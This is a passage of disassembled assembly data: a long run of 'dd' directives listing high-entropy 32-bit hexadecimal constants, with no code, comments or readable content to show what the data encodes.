		dd 794724A0h, 0FD2EC4C0h, 0B67E4A23h, 0CFC294A2h, 7CC1CF60h
		dd 434F61B5h, 0A9F35BB0h, 0BE0751FCh, 76945E64h, 29F3982Fh
		dd 892A72FBh, 0EDDAC9EDh, 32DE7EFCh, 0E8492BD1h, 49020557h
		dd 5D7A216h, 37E62D0Dh,	0C173631Eh, 0CF06E2CBh,	96382B2Eh
		dd 0A0CEA727h, 0CA3D5338h, 0D7815D9h, 968421C1h, 0DF8F3CFEh
		dd 0DFDD00B7h, 0ED1DEA59h, 0B0E5D787h, 0DF465A3Ch, 547A9657h
		dd 694EA87Ch, 87496CE2h, 0F5105D43h, 38BFB09Fh,	0B69C67Bh
		dd 0A8E42225h, 9661447Ah, 0BA8DAC9Fh, 7DA23A51h, 905F8576h
		dd 574594DEh, 893BECCEh, 0D8564246h, 276BE15Eh,	7EFFFDC2h
		dd 23FCA090h, 317F8DF7h, 12C10AAEh, 0F2EC8D51h,	1D73FE1Eh
		dd 0DFDA7CA8h, 0C5381689h, 7BE92647h, 0E215BC6h, 5664CF37h
		dd 89227CB9h, 5A231272h, 4933B7Dh, 540F1BA0h, 0DDD6AE05h
		dd 0AEDC28C4h, 370E0CB9h, 7740C6C6h, 429AA7Eh, 41BE10BDh
		dd 24380CAEh, 0E25C3978h, 0BAFECDD3h, 4827259Ah, 0D3820DE2h
		dd 0ED8F3D31h, 6610ACC1h, 3C331DE4h, 8D848AA6h,	0F1D041CDh
		dd 3372637Fh, 911B3DB2h, 63B6C72Ch, 0D1F02F3Eh,	8830AF6Bh
		dd 5A8AF4DAh, 0E51809D7h, 0E2715A50h, 0BE2D484Ah, 51B6745Ah
		dd 66C082A7h, 38EF1D4Ah, 1A35DC24h, 6E1652F9h, 0D496362Dh
		dd 7E848F6Fh, 8B0AEA1Ah, 34987046h, 0AE932993h,	0C48153EFh
		dd 0BFFEB362h, 770116C9h, 1BB13B78h, 7E63373Ah,	8C7FD4B6h
		dd 7E35BBCh, 5B5F387Bh,	167F2C37h, 3BE7299Bh, 0F4F8FD69h
		dd 0E88FBA9Eh, 10219077h, 75642E78h, 53098302h,	19C12BCDh
		dd 0FC7F3D53h, 97225DF7h, 1209FA49h, 6CE11D92h,	0A91CF575h
		dd 3612DDCEh, 2135AABDh, 0A531DD9Ch, 461EF3EAh,	0A2C8C91Fh
		dd 203BC10Bh, 6EEF4EDFh, 52DFDF16h, 0B0AB6FAFh,	10E4F032h
		dd 572B2F7Dh, 0C3DFC59h, 0CA12E2A4h, 0D967DB9h,	716B5770h
		dd 0ED848113h, 0A0373828h, 9166451Ch, 8B51DA13h, 0A32CEE04h
		dd 18712693h, 5FF917A4h, 80A90F94h, 829B17CCh, 1D5BDFC8h
		dd 0A0ABD2FBh, 4A53DE4Eh, 69E6A723h, 0B90A3237h, 15ECF717h
		dd 33D46E3Dh, 1F93C41Dh, 0F1FCBE5Ah, 3DCA4CB0h,	0C643E73Eh
		dd 0C692FB04h, 9F815FBAh, 7FD0764h, 63C39F40h, 0F9B25E10h
		dd 0A0A00539h, 320C4B80h, 0F6CD3A01h, 2E549D3Ah, 0D6F92E0Ch
		dd 0B65817F1h, 796AE12Ch, 74B4D472h, 0F18D98C7h, 0A9B9AE75h
		dd 0DABD12F4h, 4B90174Fh, 0B8B68B8Dh, 3DAB2A3Fh, 6205A2AEh
		dd 2545FE2Fh, 2D0F943Fh, 1405CF21h, 0D833C37Eh,	82B2E6ECh
		dd 8810D1B3h, 5B325F0Fh, 0C5329240h, 0B601BEE5h, 519E60FCh
		dd 14DC2FBDh, 5A3650C5h, 5057612Eh, 0F9E7D6EEh,	0C9CA1AB5h
		dd 934E84F5h, 698A76F9h, 0D4273CD8h, 0AA7B2CA9h, 67AF6D1Eh
		dd 0DEF00227h, 669EA46Dh, 0D5B4239Eh, 0CB6FA677h, 4EBAA538h
		dd 0D2D63817h, 0F62DBE90h, 1F9C9725h, 0BF900DC2h, 0ADE88E27h
		dd 0A97CCFCDh, 0E4256072h, 14EBBE83h, 0CE3B89A8h, 0B06E5D59h
		dd 0E0995D80h, 0E377225Dh, 5C9F2637h, 8A03C0BCh, 0C850192Fh
		dd 55A86547h, 83BDCE7Dh, 86879D82h, 45CAE41h, 7F5E9F08h
		dd 0DCD7DBF8h, 0C71FB1EDh, 62763F24h, 0D25C3485h, 2F45D635h
		dd 3F80F2FCh, 3A4CCC4Ch, 26BDDFA4h, 0D98AAD8Fh,	5A06A2C3h
		dd 0CE20133Ah, 44EA1F24h, 2A80E7DCh, 0BA34E1E5h, 0FB7B9DF5h
		dd 0D32809FBh, 0F8759A8h, 0FFE33452h, 0BAC17867h, 0B680D926h
		dd 0F409C6F1h, 0FB79EE2Ah, 40211C68h, 0BD3C4225h, 0B7BB6E8Dh
		dd 78B83C3Dh, 466C4D6Ah, 0F014E7F9h, 3CE173B3h,	508F3DDBh
		dd 9A69C142h, 5EE300E8h, 3A9C3F01h, 0B4F73C6Bh,	562AE1EFh
		dd 0BC839CB0h, 0A92EE10Ch, 258916E7h, 0AE9496D3h, 2612D738h
		dd 0D5BADB5h, 0E8A33E63h, 35E75A1h, 55DEEC87h, 0C34AEC04h
		dd 81A6E186h, 0A89B66C6h, 0DDF87296h, 0BAC93CFDh, 7D9E5BA2h
		dd 17EF2C0Bh, 311F9805h, 98D2B278h, 0B278F5Dh, 2D8E852Fh
		dd 0B907A44h, 5FB7B1DAh, 0BEA11B0Ch, 0FEE6031Eh, 76715C6Fh
		dd 4D80F018h, 8FF8F7BFh, 0B774F26Fh, 78F8B269h,	0A0536917h
		dd 0E7CD9DE4h, 0CEB322F8h, 0D6280CD9h, 0DDC2EB98h, 7F711B8Bh
		dd 0DB91D63h, 4ED077EFh, 8803646Dh, 8FB8B06Ah, 14BAC809h
		dd 5F9A3BB8h, 0C52EDD5Ch, 1B3E80C6h, 0FF79713Eh, 0D23C5593h
		dd 0DD9DF316h, 9C735820h, 55FDFE7Dh, 33A70780h,	53FA689Fh
		dd 5ECCA11Ah, 0CF64A989h, 0F865C4D5h, 25AD2436h, 27180D4Fh
		dd 0EBBF0ACFh, 2082FEC8h, 0C6B64B7Ah, 9B79B105h, 8ECB2A6Bh
		dd 2C896C9Bh, 0A4390BF5h, 0DA6145FDh, 4582F9D6h, 6C56F796h
		dd 0B7C48B29h, 9962D7E7h, 14B806DBh, 97DD8990h,	0DAFB5B65h
		dd 0CB8ECA90h, 0ABB503DFh, 0FBF19E85h, 0EA75AFA6h, 548E8D61h
		dd 6C4DFA43h, 378BA83Dh, 1812AB38h, 16A50F7Eh, 0BE911F18h
		dd 164C7CBEh, 8FA7CAA0h, 0FD03845Ch, 154D0D7Ch,	4F9D20A8h
		dd 2279ACA5h, 92F9C5EFh, 0C1A6CAC0h, 0CE2A8B1h,	31BB180Eh
		dd 61979766h, 6F8CB74Eh, 0AC9A271Bh, 7D94CF86h,	19F264DEh
		dd 46B9C91Ch, 0B2B5AB55h, 3C60553h, 7593E72Dh, 77EA18C2h
		dd 0B4A5F5C2h, 394B4FD3h, 6C37F42Ah, 0B83A24F5h, 38AD624Fh
		dd 596D0629h, 5994F13Dh, 197369ECh, 9D275BEBh, 0CB3CF2F0h
		dd 0FEAF8E0Ch, 0F61BBACFh, 4B339A4h, 0CF3465ADh, 0C3CC2727h
		dd 0CC842BF0h, 8F8AE89Ah, 16A71EB1h, 92B9CD90h,	0D2B36D89h
		dd 0CC243728h, 0A73681DDh, 87D50F35h, 5E0CDD0Eh, 0DFDB629Fh
		dd 8DCFA4B2h, 50F6F3D8h, 0BE75296Fh, 0D4BD8BF8h, 6A3F6F2Fh
		dd 0C80A7D9Fh, 0B2D2BC2h, 69AE2A4h, 0B078D1AEh,	0C9811CBCh
		dd 0AAEA6160h, 6C22D4E8h, 0BF3AE170h, 83E2E10Ch, 9EA0BF3Fh
		dd 0F0834CB0h, 0DEAFD965h, 0AF5432D8h, 0FB03DDCh, 3FBB87C1h
		dd 69414723h, 74D1D44Eh, 0B7F28701h, 0A0A4A6F0h, 319327DCh
		dd 0DEF7421Ah, 6D60CC56h, 24C0D1D9h, 0ECBE2401h, 0F2237B03h
		dd 97E80357h, 1A040DBCh, 6202394Ah, 0FEC609B9h,	0E567AD45h
		dd 0B84F0E1Dh, 8CA56B50h, 1D53D023h, 0DC2CB27Bh, 0EBDF9D92h
		dd 9FA6598Ah, 0E8405E9Dh, 0D3397949h, 9562E178h, 39AC4928h
		dd 923F8C57h, 5AA4C3F3h, 8F8A2BB7h, 2CE1A4E9h, 23B56F4h
		dd 0F10A3FA0h, 9D8D5305h, 0E7B4CAC1h, 1F0AF31h,	3E1F63ECh
		dd 4957270Fh, 7498E660h, 22E1F5B9h, 80CC3804h, 0B448A5D8h
		dd 359C6E1Eh, 0D847461Fh, 0E6FE636h, 0ADB3A687h, 0AC36D35Bh
		dd 0A2E6932Bh, 0EE8606E0h, 64983012h, 25A0EE79h, 0C1061D31h
		dd 1E782A17h, 6B13EAA4h, 0E640131h, 3A94CE20h, 0CB20D0EEh
		dd 7DE5124h, 9A16FF92h,	828571FAh, 0C8CED19h, 0A04DF05Fh
		dd 0E6BA9FF5h, 0A4931A0Eh, 611CAD73h, 3BD4DF9h,	91FF21CDh
		dd 2EC12605h, 5E413013h, 80B5FEC0h, 2827A1A9h, 0CFBEA07Ah
		dd 0D0E41F4Ch, 0FB389F57h, 0C6EB80FCh, 22679CC2h, 2CD9AD2Ah
		dd 95D6E07Dh, 4402E6DDh, 82CADD26h, 0B17503BBh,	0C808B525h
		dd 3CA56AB0h, 719172Ch,	0E2E9FD8Fh, 0FA7E6ED3h,	63B53CBCh
		dd 9C74C665h, 0BCE952F9h, 0CDF55A09h, 0CD07635Ah, 419F5FDFh
		dd 21FED200h, 0B5863FBEh, 82F463A1h, 0E2E82910h, 35CC6E0Ah
		dd 0F83A4E6h, 5416BFD6h, 55CC4B23h, 1570B477h, 351D9A40h
		dd 0B4AE5DFDh, 0F17FD6ADh, 5C2FBB7h, 29911253h,	0BB946586h
		dd 17EFB4B6h, 0DF8220F8h, 0E69FEDF8h, 0D4364160h, 736EAF6Ch
		dd 3EE2C387h, 268C5BD2h, 0DD1B35F5h, 0EE5C60Eh,	0E7D0CCE5h
		dd 0ED2E7BB9h, 12C4F007h
		dd 1E89CA32h, 0E571B8BAh, 10498108h, 11C5DEC6h,	7A22FBEBh
		dd 0D1CAF6C6h, 88C40507h, 95CD0CDCh, 0ECB9D955h, 2838A5BBh
		dd 0D15F4334h, 0F5513F2Fh, 0D44ADEA8h, 4C21C333h, 0F16213ECh
		dd 0F913801Fh, 0DFEDFB04h, 7C02E31Ah, 49114892h, 0F42C2A03h
		dd 0BF3DA313h, 85E3D3F7h, 0AB1CA404h, 8CA310C5h, 3F157BFBh
		dd 7F9C14C7h, 801FBC02h, 283D1BB4h, 1F59560Eh, 0FEF94DCAh
		dd 0F5D1719Eh, 279773C3h, 0B9B7C5AEh, 0CF6238E3h, 542C4D52h
		dd 3A20197Fh, 9D79DCB2h, 99BDD434h, 0C3BDAF9Dh,	51CAC662h
		dd 0A78B77A8h, 0ADE71F09h, 9419DAE6h, 96620E9Fh, 579B90Dh
		dd 6967D1C5h, 3F91BDFh,	1488C49Dh, 0AA606312h, 8EB8C1FBh
		dd 0D4DBAB62h, 51E04D9Fh, 3006D38Ah, 166B0838h,	38B27DAh
		dd 1290F7EAh, 0DCD794F6h, 0F63C307Dh, 64587261h, 232A27Bh
		dd 0CEBA92D5h, 128F6E95h, 9AC35A54h, 0C05E6F4Eh, 0B828FDCCh
		dd 946D8CA4h, 43FF38A5h, 3F068CEEh, 58524A68h, 0F3693E8Fh
		dd 0C2C6F461h, 607D6C8h, 46BA93C4h, 134ECB8Dh, 1238D1E6h
		dd 9DAEA4EFh, 2091E425h, 0D4C796DBh, 935E6AD3h,	922940C6h
		dd 0D12408FFh, 6B7A77E4h, 0FE248C6Ah, 2B3B217Fh, 9474AC94h
		dd 0BC0DA3FAh, 0B47355B2h, 2FA81469h, 81510755h, 6675F088h
		dd 0CBF6D81h, 0B138FBC7h, 0FDC1A884h, 0FC3EB46Bh, 0F1F77F20h
		dd 0B27F01E2h, 3E81010Fh, 1CEFF24Dh, 9AB60BD6h,	16E23781h
		dd 8BA2F5F1h, 5694A2F0h, 671686DEh, 5892840Eh, 821F001Ah
		dd 4EB456EAh, 4E86B160h, 9661BC98h, 0FF849E9h, 0F36B3BB5h
		dd 8EA4644Eh, 0B291F530h, 7781B3D8h, 1E0D6BCFh,	8E3EC1F3h
		dd 1917A706h, 67C5AE48h, 0AAC4481h, 0F0B5AB9Ch,	72A1396Eh
		dd 5A23B0B8h, 7277AEDFh, 1D7158F8h, 0BE6439F3h,	2F89EB01h
		dd 0DB0F978Eh, 0F1AB82D2h, 4720507Fh, 0AA2FC6ABh, 7B0A65BBh
		dd 570F35D3h, 8CDC3C58h, 97078182h, 41D2B646h, 58CDA632h
		dd 6AFE4855h, 4D0BB146h, 62111546h, 8EBBBE66h, 0DA99E52Ah
		dd 0B7F7F7F6h, 70E33CF4h, 68BD1837h, 7C88D120h,	2F809644h
		dd 82BC5DF6h, 16BA1CB0h, 2A599A4h, 0AA849D77h, 5A920B73h
		dd 8F6314A7h, 81A22128h, 0BE5AEC67h, 0A5947897h, 1405D9CFh
		dd 47A224ADh, 0B8F300D6h, 78CC124Eh, 0B7F78A45h, 9EC0873h
		dd 11F8FBDBh, 8CBDCC5Dh, 7DA84DAh, 53A14D96h, 0B880EE9h
		dd 0EA50C714h, 88DD6A39h, 55803C26h, 0FE2D01BBh, 4E3DE717h
		dd 0B83510E1h, 7BE94254h, 31483CAAh, 66499DB7h,	6361E693h
		dd 0CB5E99EEh, 0EA0D9D67h, 94C27973h, 8C814449h, 1432008h
		dd 0F29FA05Bh, 41E1787Fh, 30B66949h, 4FEF26E1h,	10A22DBAh
		dd 35BDDF39h, 2A05826Dh, 34E1E1F4h, 56CE27AEh, 3C5CEA60h
		dd 10C24BC3h, 580B2659h, 0E4329957h, 0F239FE47h, 63CC48F0h
		dd 809F7C91h, 8C292AF5h, 990ADCFAh, 98D6ACF9h, 0A0B6B773h
		dd 89A263B8h, 7A1BEBABh, 73790451h, 5D088582h, 76818181h
		dd 9BDCE306h, 0D3864C2Bh, 0FB702A35h, 26D1C920h, 0D21EC780h
		dd 0C9108817h, 52605AA6h, 4081F244h, 0AE6731E4h, 0A3B7D44Dh
		dd 0F000F373h, 9670716Bh, 9692BB08h, 0B3A7DD1Bh, 33E0EC3Eh
		dd 1C4C9A4Dh, 0F0A36106h, 0E274F973h, 0D57FF295h, 41D8B504h
		dd 189AFAE3h, 0B1E99D1Ah, 387A4057h, 0A46B2D4Fh, 0C6FB212h
		dd 17037973h, 8BF9820Bh, 0F41F23BEh, 5B486A81h,	0B20125A4h
		dd 5F31B4F7h, 0BAB0B652h, 68EE6CF8h, 0AC699F04h, 6BFE602Dh
		dd 8F42A53Fh, 6DEEAE77h, 43EA3987h, 0BEF25354h,	0A5D013B2h
		dd 2757922Bh, 55C76128h, 38D1E362h, 0C230FD5Eh,	23FF24A6h
		dd 0B2D37900h, 15C77856h, 0B86E1929h, 32A45945h, 53F3FAA7h
		dd 0B7D77AB3h, 2F91A964h, 2108BB8Bh, 5A732F8Fh,	5900CA0Bh
		dd 0CD4F05E1h, 0FFB88C93h, 0BB1C7704h, 2C328947h, 14DF5841h
		dd 23685581h, 3A8D8A9h,	29774238h, 8995325Ah, 0B6FF7E9Ch
		dd 0F229D2DFh, 2FB5892Eh, 53BAD246h, 5D68DA9Bh,	0CB6A3882h
		dd 0CEA41C4h, 0FAFD98D2h, 0A59340B5h, 6798FDA1h, 9118EC4Eh
		dd 5E309FE1h, 3B9DB13Fh, 0DC146523h, 0DF23CBF3h, 4C9EE2AAh
		dd 4A33539Ch, 9A8F2B32h, 6CDE372Eh, 2594DADDh, 0B1DA1BFDh
		dd 8CCA62E4h, 208F243Bh, 41D00EA7h, 11406F45h, 0F8509EBDh
		dd 0CB19B632h, 8C00D2A5h, 0BF3AA630h, 713C1D86h, 0F5967A71h
		dd 34A9A92Bh, 0DBA37F48h, 4F115D7Eh, 0B7929120h, 3ECD9822h
		dd 6CB22965h, 0E9C66557h, 1B501375h, 19D2A96Fh,	74D491A8h
		dd 0E52733A9h, 0A584F6FCh, 95927525h, 0F5415A30h, 9CB17E4Dh
		dd 3A0D3F6Bh, 7219A430h, 0E75AEA5Bh, 0F2A7970Ch, 0A8D21426h
		dd 0BD667D5Ch, 9058E6C3h, 0E0CF6910h, 4972131Ch, 0C93BCC3Fh
		dd 0E910E105h, 24608983h, 82874925h, 55EFB0Dh, 0E65D198Dh
		dd 0EAEA4A31h, 4C248951h, 1DFCAE02h, 0B2AB331Eh, 13B38F73h
		dd 42661042h, 2AEFC4C7h, 0F3B8D26h, 48AA405Ah, 9B7AD9B6h
		dd 12085789h, 96F88D3h,	9C84C31Eh, 3B3B4253h, 1B8871EAh
		dd 0F9A98D2Fh, 884D3C78h, 0A2E9EB64h, 0EE4A9452h, 4FD1B3F3h
		dd 0C3F81BEFh, 6DB8F06Bh, 934DADE9h, 0A3897C86h, 0E7BFF0CDh
		dd 0FED8687Ch, 21AE03B4h, 0E68A88ACh, 4B0D789Dh, 8DB6E3FBh
		dd 0C1FFCA10h, 0A67A7718h, 0D73CD094h, 2DF27BB8h, 0B38B7CF9h
		dd 249CD202h, 5CE94E03h, 0F918B9Bh, 12462515h, 0ECCDE646h
		dd 87830D0Bh, 4BA03E58h, 4612B636h, 8F3F0016h, 5D9455AFh
		dd 55D7FEC8h, 0E1EEC412h, 0AC305C69h, 0EE38E095h, 0E2547C48h
		dd 4C8B5963h, 0B3149CC0h, 493580B3h, 39B82474h,	0CF34D8D2h
		dd 0A6F845D0h, 241B0E42h, 541D2264h, 1505A074h,	14D88AFDh
		dd 0FB775494h, 5D6A74BBh, 70FD41DEh, 568FCDB9h,	9EC87688h
		dd 5D368EB1h, 0CC0E50B5h, 8F19711Ch, 0DA64C0B1h, 86FA9FAFh
		dd 4933F735h, 342B85CAh, 0E0015BF5h, 5A873E9h, 0AE39F7C8h
		dd 4024F922h, 1E74897Ch, 0F90CA286h, 0D53FE8CFh, 2742697Eh
		dd 247D4352h, 75A24B7Dh, 0CBA26FD5h, 0DB96E1EEh, 5E830FF7h
		dd 85AA5339h, 0FDEFB727h, 7BD034EDh, 6961A80Ch,	0CDA4FE86h
		dd 9055ACF0h, 1BC396FCh, 2AB1DCB9h, 0ACD78EEEh,	9C0C15h
		dd 7C9A404Eh, 62B56DA8h, 0AD37E146h, 9F7C7A9Eh,	51F08AFCh
		dd 90D03824h, 0E08DA17Bh, 3668FECBh, 0A23D5C2Ah, 1B69ED63h
		dd 0F4361BC8h, 3A874009h, 6AC5F92h, 4566134h, 9D1C1C82h
		dd 37EA646Bh, 127278AEh, 5B6B1BFDh, 0A8CE8A0Fh,	0F94D9CB0h
		dd 196BCABFh, 0BB70B8B7h, 1968ED5Ah, 177A57D6h,	6644CCF8h
		dd 0C29BA763h, 6F68DE91h, 25EAB59Eh, 0D84F1C8Eh, 0E06441FFh
		dd 59AA79E7h, 83EB33A7h, 0CFC51C08h, 9D423224h,	0E868FF1Fh
		dd 0CB273877h, 66AA0E28h, 241F8B82h, 0AB12E7A8h, 5B409599h
		dd 9A7D6D85h, 273E2523h, 0FA5FAE0Fh, 7EB7AE6Dh,	80F2FBB2h
		dd 79CDCB62h, 52ED0FE5h, 0C84C5C30h, 0D320F971h, 43E6A06Ah
		dd 8719A758h, 6F9FC179h, 0CB3D8DB7h, 9A772848h,	7DB0F9C9h
		dd 0E7F9B29h, 5319CE65h, 9F8FE7EEh, 83DE860Ch, 0AD48689Eh
		dd 524F3F03h, 43847A07h, 223BB2B6h, 436B336Fh, 0A7F022E4h
		dd 33FF862Ch, 0D84C0CC5h, 99A04FF0h, 6B8E5073h,	7A5E1C2Ch
		dd 0EC648EAAh, 0F93A2E3h, 46E0F59h, 48F2E6DFh, 65BB626Eh
		dd 20D709D0h, 3864ED30h, 0B439B89Eh, 0AA734154h, 67517C38h
		dd 64344222h, 4842160Bh, 3C4D595Fh, 0FD310F14h,	4FF6A2AAh
		dd 0DB8BCDB2h, 0E3ACB843h
		dd 0A872E69Eh, 2B6E8370h, 88469F50h, 0B7049F1Dh, 1AE1382Bh
		dd 52F8BD3Ah, 6BC1DDBBh, 61FC5BAEh, 0F2391F87h,	0A6441A6Ah
		dd 7667E53Fh, 0AD5D8128h, 2007F2B7h, 3E7CFCCDh,	9F8B8150h
		dd 76340Dh, 2C74B917h, 9E68A031h, 8BB632B4h, 0C7B08786h
		dd 659DDF7Eh, 1F1E25E2h, 96040A85h, 23D400E0h, 0C8873E3Fh
		dd 41ACEB46h, 78A6AB16h, 40999866h, 4C6824D4h, 4BAA2C5Bh
		dd 2A4C76B3h, 3AC8EE3Ch, 58BCF9FFh, 0D8A85348h,	7155339Ch
		dd 8A333A7h, 0B30EAB99h, 756CA3E0h, 0F634D99Bh,	0C935A0BBh
		dd 4A306913h, 0FFF08D45h, 5B788BC8h, 0CA1AC98Ch, 0A60719CCh
		dd 0A856F3BBh, 26E85754h, 6B36AEE2h, 0A30DC0CCh, 0CAC4FDC3h
		dd 41595CB4h, 0B8C7493Fh, 0A16D72DBh, 0CA79175Bh, 89DE6289h
		dd 413BB7DAh, 0FEEA733Dh, 549734C7h, 79CDD17Dh,	6AE29044h
		dd 0E5DD8A20h, 8C8834B3h, 460E0654h, 2E41B5F8h,	6275788Bh
		dd 0AD1D5481h, 0F14015D2h, 0DF944B27h, 0FFC3D281h, 0AF33F8D9h
		dd 0D57DF566h, 523F7A53h, 0B3F16564h, 14EE2ABCh, 6BAB09C8h
		dd 0B8E66678h, 9EED2756h, 0ADECD06h, 0CA5C89AAh, 0C842792Ah
		dd 0B5A90D8Fh, 0FA299630h, 0C53076B3h, 6DC952B1h, 6FE73744h
		dd 747AEBC0h, 7335BE82h, 25DC8C79h, 2072BA06h, 0B6288874h
		dd 56653442h, 0A3B218C3h, 5D22ED60h, 35149B27h,	0A67E9A12h
		dd 0DC907564h, 0FAA86048h, 8354E05Eh, 8F532991h, 493A6004h
		dd 0F3031FBDh, 0A5DEDF96h, 66043AA4h, 509DC0ACh, 0ADF6A477h
		dd 5522D1Fh, 5F3480AFh,	0DD92C433h, 0DBA723E9h,	7A4C7A91h
		dd 892AEDE9h, 0BBF94AB8h, 59A20C3Bh, 0FA6FDFADh, 0C1AB0248h
		dd 6DB722F5h, 48DF4563h, 549C4F46h, 0B75111ACh,	3E7772BEh
		dd 0F3A1BC7Bh, 1301116Eh, 0D3615500h, 0D6581F9Bh, 30D1A1B4h
		dd 95E3E09Eh, 20519D8Ch, 2AE97F5Bh, 0D2B29B89h,	5C5A0A24h
		dd 1F4ABA2h, 199AF7D4h,	2AE2D2CAh, 5E2B1504h, 0E01F2B6Ch
		dd 3749A3EDh, 360B0457h, 349D5254h, 1C521C12h, 0A9D77BFFh
		dd 63E01971h, 0C0F19324h, 0E15AF1D9h, 0EE146352h, 0ABC19A4Eh
		dd 57ADCD55h, 1A6FD842h, 0A094CD7Bh, 0BC65B79Dh, 0CEBF37C4h
		dd 6C5AA5ACh, 0A44C7151h, 0DFD4A0ADh, 0E7F45830h, 700F7108h
		dd 0A66CDB6Dh, 22717C72h, 1080C60Eh, 1912E9BBh,	20FA1D78h
		dd 24A39C79h, 0BD1C8601h, 0D5837D3h, 0F6CA1CD1h, 9303718Fh
		dd 49C41EBDh, 7D2B8863h, 0A9F8BC24h, 3290DEF5h,	2224463Ah
		dd 24D8CD14h, 9E36E0E5h, 1AEFD572h, 0B0D5277Eh,	0C3C29C4Ch
		dd 0CE766C6Bh, 1E9A39Dh, 0B4C2996Bh, 35BAD76h, 0D840734Ah
		dd 32C3464Fh, 3ED7C55Fh, 4BA1AF26h, 0B54FE9AAh,	853B6929h
		dd 5EBD8F6Ah, 0CC475783h, 7C27AB7Bh, 445AF6ADh,	0C5B1855Eh
		dd 0AAE6C4C9h, 96ECEE5Bh, 0A280D66Dh, 274EEEAFh, 35E08670h
		dd 3281DA3Ch, 0BE73A6B1h, 5F1345F0h, 0DAA5E195h, 6365A0F9h
		dd 0E2848106h, 3795B172h, 50395460h, 3E14856Eh,	0C4F068E6h
		dd 6406F71Ah, 10FF60BDh, 8587D72Eh, 7F0BFED9h, 7B4DC1Bh
		dd 6BC02640h, 48E5B482h, 8BC73B69h, 8ACC7C73h, 5055ABB1h
		dd 6646C3E2h, 0B95909CEh, 0C7FEFAB4h, 0F2854409h, 2D00709Ch
		dd 3B20BBCBh, 74343633h, 46ECB3E9h, 0C11E92D2h,	30C8218Eh
		dd 0D8A7DC40h, 26D2B400h, 778604A0h, 0C61DA75Eh, 0F163438h
		dd 876B9831h, 0F12B749Ah, 679232EBh, 0B122C455h, 0BE02CDB4h
		dd 7D5304E6h, 6998845Bh, 597499F2h, 7CBAE4ABh, 5031A3B2h
		dd 0EC16B8C1h, 0DBC66579h, 7D8DA3C2h, 2AE842AFh, 6B6411C4h
		dd 0A51DED6h, 0AECC0C03h, 1331CD2Bh, 751519BDh,	0BD300780h
		dd 1CCBB280h, 777BC68Bh, 6FBDC4Bh, 711BB2EBh, 4CF8FE3Fh
		dd 0B2EEE779h, 0CA8ECF54h, 0F9FC70BFh, 0F7752244h, 0EE84E48Dh
		dd 0D1724822h, 318B6B00h, 88D4DAF0h, 4EF95A85h,	0F8C3E9F9h
		dd 8CF5F30Eh, 0EB552D87h, 0A7D7073Eh, 0CEAE8737h, 16ED47E4h
		dd 25B5B8F4h, 0EC163BC7h, 8B74DE61h, 787ED160h,	0B30EFBB3h
		dd 8AA9BAB9h, 0D8590A9Ah, 516CD772h, 2C3A2E9h, 4FE1FACDh
		dd 0E9B07DFFh, 34B44FE7h, 0DB69054Fh, 42F2B45Fh, 0BBF05255h
		dd 0A6AFDD56h, 0ABD71962h, 6295914h, 44E1D584h,	0CA6D5EA1h
		dd 0E1C61B2Ch, 3E2F26BDh, 0F739AFB0h, 0E55B6FF1h, 0F3623C2Fh
		dd 0D350B373h, 6C17360Ch, 0E3153828h, 424803CAh, 46F8F56h
		dd 85FD0389h, 0EC2993F1h, 765972A8h, 9AEE6E1Bh,	20367418h
		dd 9EE47AEEh, 0A1C9CB82h, 34FD2167h, 0F4F34764h, 0D577F175h
		dd 51774C0Eh, 0B313238Dh, 4A41F258h, 67B25E23h,	8FC95C47h
		dd 7A6231D5h, 735CE856h, 0EB565B65h, 1287AE50h,	4AC5A158h
		dd 0DD8A5A13h, 264317EAh, 0BC9C7B90h, 0C65DD2FEh, 70780928h
		dd 9BE12A7Bh, 3E0C6F66h, 0B9B82006h, 0C82267EAh, 0BE87BEB1h
		dd 0F8395DD3h, 6DDCCF14h, 0BE8FB8C9h, 62DB9956h, 0CCE6488Dh
		dd 161E7D4h, 460A2A10h,	0AD66B3EEh, 0E5AECAD5h,	0BD5929ADh
		dd 9DE09AB4h, 1DD092C9h, 4D76F0ADh, 0BE1B9924h,	4566D86Dh
		dd 3070B12Bh, 989F4DB8h, 38207821h, 363D3E3Ah, 0E0E1B60h
		dd 23CC34ABh, 0B8DF48F4h, 734BCE5Eh, 2A834911h,	2C137356h
		dd 0A50B1C49h, 6A3B1D83h, 11DB6BFEh, 1BF3CE26h,	3B751588h
		dd 363DFE47h, 0D4B5677Eh, 64E703B2h, 66AD3C01h,	1B028CCBh
		dd 90C3BD1Eh, 0D0021E63h, 4FB61BC6h, 0D4ADB0CDh, 44AAEA53h
		dd 0B6F14BD4h, 0D543BA0Fh, 362A4E50h, 0A749F38Bh, 0C2F78E15h
		dd 0AFEE2D7Fh, 5100E546h, 0B6A3411Bh, 558AAFAAh, 0A9B6234Ch
		dd 0DDB4DAEBh, 0E3E17040h, 22D90617h, 38621062h, 0DA7B7C9Ah
		dd 6BEE9079h, 96073257h, 0EB638C26h, 1AEABDA9h,	0A3F7EBA0h
		dd 291F2332h, 0A45E73F3h, 0F9AB1FCCh, 6431CC03h, 0AB64A538h
		dd 5C450286h, 0AD2BDD46h, 544FB793h, 745D8FE9h,	9603B759h
		dd 2EEF12AAh, 0DADE122Dh, 528F3A47h, 0E5051779h, 1A413D0Ch
		dd 0AF193619h, 146F0C6Ah, 50464974h, 6F966076h,	0F854011Bh
		dd 1C4CA347h, 0A67B3D32h, 424B8D9Ch, 146E62C5h,	14F7AEFBh
		dd 6DD1059h, 272E5997h,	1D8147A4h, 6A1200ACh, 989542F7h
		dd 3DB313E9h, 186CCCEAh, 809A48Eh, 0E9411584h, 600577CBh
		dd 0C35AFBE5h, 0C4916471h, 30FCDCF8h, 0ACA940D6h, 140A9142h
		dd 273DB170h, 5118BB38h, 362E5893h, 0C7FAB9E2h,	9A0E5708h
		dd 0C123519Bh, 8B6E5827h, 4CE0857Eh, 271555E3h,	3A1D2F72h
		dd 1A10D537h, 0B3DFE31Ch, 0B7EAA209h, 0B4525A1Eh, 9C8FA24Ch
		dd 34552C43h, 0A398C4EDh, 8E5812EAh, 78039872h,	7BA6117Ah
		dd 0DE3B6C77h, 0F237C71Fh, 30F4F2E8h, 3C2CA1DEh, 381F9AF2h
		dd 36ED5910h, 8C94748Ch, 0E2E3ED86h, 0DA116ABEh, 0ECE4C493h
		dd 622A670Bh, 93000FE2h, 0E9BB1B2Ah, 2DFC23FCh,	2A08C503h
		dd 9D97E8B8h, 768FAF3h,	0C34A932Dh, 0D2B7E49Bh,	0D00A8147h
		dd 0AC89F82h, 0D128B1A1h, 71C31528h, 3DE4340Ch,	0C4C33ABEh
		dd 0F5A43EEh, 0C7925D46h, 0EF2A2884h, 0BAF83280h, 3655190Ah
